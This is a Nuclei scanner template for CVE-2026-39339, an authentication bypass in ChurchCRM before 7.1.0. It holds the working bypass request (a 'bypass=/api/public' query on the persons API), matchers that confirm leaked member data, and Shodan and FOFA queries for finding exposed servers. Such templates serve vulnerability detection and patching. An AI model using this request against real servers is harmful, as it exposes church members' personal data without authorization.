id: CVE-2026-39339 info: name: ChurchCRM - API Authentication Bypass via URL Injection author: akhilshekhar severity: critical description: | ChurchCRM < 7.1.0 contains an authentication bypass caused by improper API middleware URL handling in ChurchCRM/Slim/Middleware/AuthMiddleware.php, letting unauthenticated attackers access protected API endpoints, exploit requires crafted request URL with 'api/public impact: | Unauthenticated attackers can access all protected API endpoints, exposing sensitive church member data and system information. remediation: | Update to version 7.1.0 or later. reference: - https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v3p2-mx78-pxhc classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.1 cve-id: CVE-2026-39339 epss-score: 0.14971 epss-percentile: 0.94683 cwe-id: CWE-284 cpe: cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* metadata: vendor: churchcrm product: churchcrm shodan-query: http.title:"churchcrm" fofa-query: app="churchcrm" tags: cve,cve2026,churchcrm,auth-bypass http: - method: GET path: - "{{BaseURL}}/api/persons/latest?bypass=/api/public" matchers-condition: and matchers: - type: word part: body words: - "PersonId" - "FormattedName" - "\"people\"" condition: and - type: word part: content_type words: - "application/json" - type: status status: - 200 # digest: 490a004630440220337ec06d379be9ea8b25b0614e9a95e5944a0a88d4af70886403eee38d1983ad022068e1a98e71bdf7b14d847913397ee080deb75bacf0870e4c7f75359ac5dfa918:922c64590222798bb761d5b6d8e72950